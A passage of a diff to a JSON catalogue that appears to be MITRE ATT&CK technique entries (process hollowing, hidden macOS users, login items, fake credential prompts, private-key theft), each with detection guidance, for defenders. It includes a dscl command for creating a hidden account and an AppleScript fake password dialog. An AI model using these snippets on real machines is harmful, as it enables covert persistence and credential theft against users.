Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1074" + ], + "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + "value": "Data Staged" + }, + { + "description": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.\n\nDetection: If malware uses Standard Cryptographic Protocol, SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels.Custom Cryptographic Protocol, if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.[[Citation: Fidelis DarkComet]]\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Process use of network, Malware reverse engineering, Process monitoring", + "meta": { + "mitre_data_sources": [ + "Packet capture", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1079", + "https://www.fidelissecurity.com/sites/default/files/FTA%201018%20looking%20at%20the%20sky%20for%20a%20dark%20comet.pdf", + "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html" + ], + "uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e" + }, + "value": "Multilayer Encryption" + }, + { + "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1035" + ], + "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392" + }, + "value": "Service Execution" + }, { "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer.[[Citation: Wikipedia BIOS]][[Citation: Wikipedia UEFI]][[Citation: About UEFI]]\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.\n\nDetection: System firmware manipulation may be detected.[[Citation: MITRE Trustworthy Firmware Measurement]] Dump and inspect BIOS images on vulnerable systems and compare against known good images.[[Citation: MITRE Copernicus]] Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.\n\nLikewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.[[Citation: McAfee CHIPSEC Blog]][[Citation: Github CHIPSEC]][[Citation: Intel HackingTeam UEFI Rootkit]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, BIOS, EFI\n\nContributors: Ryan Becwar", "meta": { @@ -898,72 +3935,170 @@ "value": "System Firmware" }, { - "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders.[[Citation: TechNet Autoruns]] Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring", + "description": "Process hollowing occurs when a process is created in a suspended state and the process's memory is replaced with the code of a second program so that the second program runs instead of the original program. Windows and process monitoring tools believe the original process is running, whereas the actual program running is different.DLL Injection to evade defenses and detection analysis of malicious process execution by launching adversary-controlled code under the context of a legitimate process.\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior.\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, API monitoring", "meta": { "mitre_data_sources": [ - "Windows Registry", + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1093", + "http://www.autosectools.com/process-hollowing.pdf" + ], + "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + "value": "Process Hollowing" + }, + { + "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401[[Citation: Cybereason OSX Pirrit]].\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: MacOS, OS X\n\nData Sources: Authentication logs, File monitoring", + "meta": { + "mitre_data_sources": [ + "Authentication logs", "File monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "MacOS", + "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1060", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "http://msdn.microsoft.com/en-us/library/aa376977" + "https://attack.mitre.org/wiki/Technique/T1147", + "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty" ], - "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc" + "uuid": "8c31ad7f-a31e-400e-b66a-08bc53660967" }, - "value": "Registry Run Keys / Start Folder" + "value": "Hidden Users" }, { - "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.\n\nDetection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters", + "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window [[Citation: Antiquated Mac Malware]].\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring", "meta": { "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" + "File monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "MacOS", + "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1035" + "https://attack.mitre.org/wiki/Technique/T1143", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" ], - "uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392" + "uuid": "52619537-a5c4-4b7b-aac0-6f214d0dfeba" }, - "value": "Service Execution" + "value": "Hidden Window" }, { - "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring", + "description": "MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them[[Citation: Adding Login Items]]. Users have direct control over login items installed using a shared file list which are also visible in System Preferences[[Citation: Adding Login Items]]. These login items are stored in the user's ~/Library/Preferences/ directory in a plist file called com.apple.loginitems.plist[[Citation: Methods of Mac Malware Persistence]]. Some of these applications can open visible dialogs to the user, but they don’t all have to since there is an option to ‘Hide’ the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in[[Citation: Malware Persistence on OS X]][[Citation: OSX.Dok Malware]].\n\nDetection: All the login items are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area should be monitored and whitelisted for known good applications. Monitor process execution resulting from login actions for unusual or unknown applications.\n\nPlatforms: MacOS, OS X", + "meta": { + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1162", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html", + "https://www.rsaconference.com/writable/presentations/file%20upload/ht-r03-malware-persistence-on-os-x-yosemite%20final.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ], + "uuid": "6a63ed12-fe3c-42e3-9c5e-2fcd740dc5ab" + }, + "value": "Login Item" + }, + { + "description": "Path interception occurs when an executable is placed in a specific path so that it is executed by an application instead of the intended target. One example of this was the use of a copy of cmd in the current working directory of a vulnerable application that loads a CMD or BAT file with the CreateProcess function.DLL Search Order Hijacking.\n\nDetection: Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious. \n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring\n\nEffective Permissions: User, Administrator, SYSTEM\n\nContributors: Stefan Kanthak", "meta": { "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Process use of network", + "File monitoring", "Process monitoring" ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1034", + "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464", + "http://technet.microsoft.com/en-us/library/cc723564.aspx#XSLTsection127121120120", + "https://blogs.technet.microsoft.com/srd/2014/04/08/ms14-019-fixing-a-binary-hijacking-via-cmd-or-bat-file/", + "http://support.microsoft.com/KB/103000", + "https://msdn.microsoft.com/en-us/library/fd7hxfdd.aspx", + "http://msdn.microsoft.com/en-us/library/ms682425", + "http://msdn.microsoft.com/en-us/library/ms687393" + ], + "uuid": "c4ad009b-6e13-4419-8d21-918a1652de02" + }, + "value": "Path Interception" + }, + { + "description": "When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries can mimic this functionality to prompt users for credentials with a normal-looking prompt. This type of prompt can be accomplished with AppleScript:\n\nset thePassword to the text returned of (display dialog \"AdobeUpdater needs permission to check for updates. Please authenticate.\" default answer \"\")\n[[Citation: OSX Keydnap malware]]\n\nAdversaries can prompt a user for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.[[Citation: OSX Malware Exploits MacKeeper]]\n\nDetection: This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to detect. Monitor process execution for unusual programs as well as AppleScript that could be used to prompt users for credentials.\n\nPlatforms: MacOS, OS X\n\nData Sources: User interface, Process Monitoring", + "meta": { + "mitre_data_sources": [ + "User interface", + "Process Monitoring" + ], + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1141", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" + ], + "uuid": "cbd1028b-eeac-40bd-b86e-0430f4e127a9" + }, + "value": "Input Prompt" + }, + { + "description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items[[Citation: Startup Items]]. This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism[[Citation: Methods of Mac Malware Persistence]]. Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring" + ], + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1165", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ], + "uuid": "c3dc8707-c1cd-4ce0-add5-5302670770b3" + }, + "value": "Startup Items" + }, + { + "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.Remote Services like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on *nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.[[Citation: Kaspersky Careto]][[Citation: Palo Alto Prince of Persia]]\n\nDetection: Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring\n\nContributors: Itzik Kotler, SafeBreach", + "meta": { + "mitre_data_sources": [ + "File monitoring" + ], "mitre_platforms": [ "Windows Server 2003", "Windows Server 2008", @@ -982,21 +4117,76 @@ "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1065", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + "https://attack.mitre.org/wiki/Technique/T1145", + "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/", + "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask%20v1.0.pdf", + "https://en.wikipedia.org/wiki/Public-key%20cryptography" ], - "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0" + "uuid": "f6f87898-f389-4962-8c0a-2db10aa667e8" }, - "value": "Uncommonly Used Port" + "value": "Private Keys" }, { - "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.certutil.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nContributors: Matthew Demaske, Adaptforward", + "description": "===Windows===\n\nWindows allows logon scripts to be run whenever a specific user or group of users log into a system.[[Citation: TechNet Logon Scripts]] The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.\n\nIf adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.\n\n===Mac===\n\nMac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root[[Citation: creating login hook]]. There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.\n\nDetection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1037", + "https://support.apple.com/de-at/HT2420", + "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx" + ], + "uuid": "03259939-0b57-482f-8eb5-87c0e0d54334" + }, + "value": "Logon Scripts" + }, + { + "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism[[Citation: Sofacy Komplex Trojan]].\n\nDetection: File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters", "meta": { "mitre_data_sources": [ "File monitoring", "Process Monitoring", "Process command-line parameters" ], + "mitre_platforms": [ + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1150", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ], + "uuid": "26a5fec2-2159-4dea-aa9f-8dafa90976ab" + }, + "value": "Plist Modification" + }, + { + "description": "Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Reg may be used for local or remote Registry modification.Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.\n\nDetection: Modifications to the Registry are normal and occur throughout typical use of the Windows operating system. Changes to Registry entries that load software on Windows startup that do not correlate with known software, patch cycles, etc., are suspicious, as are additions or changes to files within the startup folder. Changes could also include new services and modification of existing binary paths to point to malicious files. If a change to a service-related entry occurs, then it will likely be followed by a local or remote service start or restart to execute the file.\n\nMonitor processes and command-line arguments for actions that could be taken to change or delete information in the Registry. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell, which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], "mitre_platforms": [ "Windows Server 2003", "Windows Server 2008", @@ -1012,49 +4202,16 @@ "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1140", - "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/" + "https://attack.mitre.org/wiki/Technique/T1112", + "https://technet.microsoft.com/en-us/library/cc754820.aspx", + "https://technet.microsoft.com/en-us/library/cc732643.aspx" ], - "uuid": "673c3a5d-0e07-42bb-8e6f-9aa2322987d8" + "uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4" }, - "value": "Deobfuscate/Decode Files or Information" + "value": "Modify Registry" }, { - "description": "Adversaries with a sufficient level of access may create a local system or domain account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.\n\nThe net user commands can be used to create a local or domain account.\n\nDetection: Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller.[[Citation: Microsoft User Creation Event]] Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nPlatforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows Server 2003, Windows Server 2008, Windows XP, Windows Server 2003 R2, Windows Vista, Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Process command-line parameters, Authentication logs, Windows event logs", - "meta": { - "mitre_data_sources": [ - "Process Monitoring", - "Process command-line parameters", - "Authentication logs", - "Windows event logs" - ], - "mitre_platforms": [ - "Windows 10", - "Windows Server 2012", - "Windows 7", - "Windows 8", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows 8.1", - "Windows Server 2003", - "Windows Server 2008", - "Windows XP", - "Windows Server 2003 R2", - "Windows Vista", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1136", - "https://docs.microsoft.com/windows/device-security/auditing/event-4720" - ], - "uuid": "f2d47680-b65a-4354-8a69-79c150fd2bd5" - }, - "value": "Create Account" - }, - { - "description": "Collected data is staged in a central location or directory prior to Data Compressed or Data Encrypted.\n\nInteractive command shells may be used, and common functionality within cmd and bash may be used to copy data into a staging location.\n\nDetection: Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files.\n\nMonitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.\n\nDetection: Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", "meta": { "mitre_data_sources": [ "File monitoring", @@ -1073,38 +4230,14 @@ "Windows Server 2012 R2", "Windows Vista", "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" + "Windows 10" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1074" + "https://attack.mitre.org/wiki/Technique/T1023" ], - "uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e" + "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810" }, - "value": "Data Staged" - }, - { - "description": "During the boot process, macOS and Linux both execute source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts[[Citation: Startup Items]]. In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user[[Citation: Methods of Mac Malware Persistence]].\n\nDetection: The 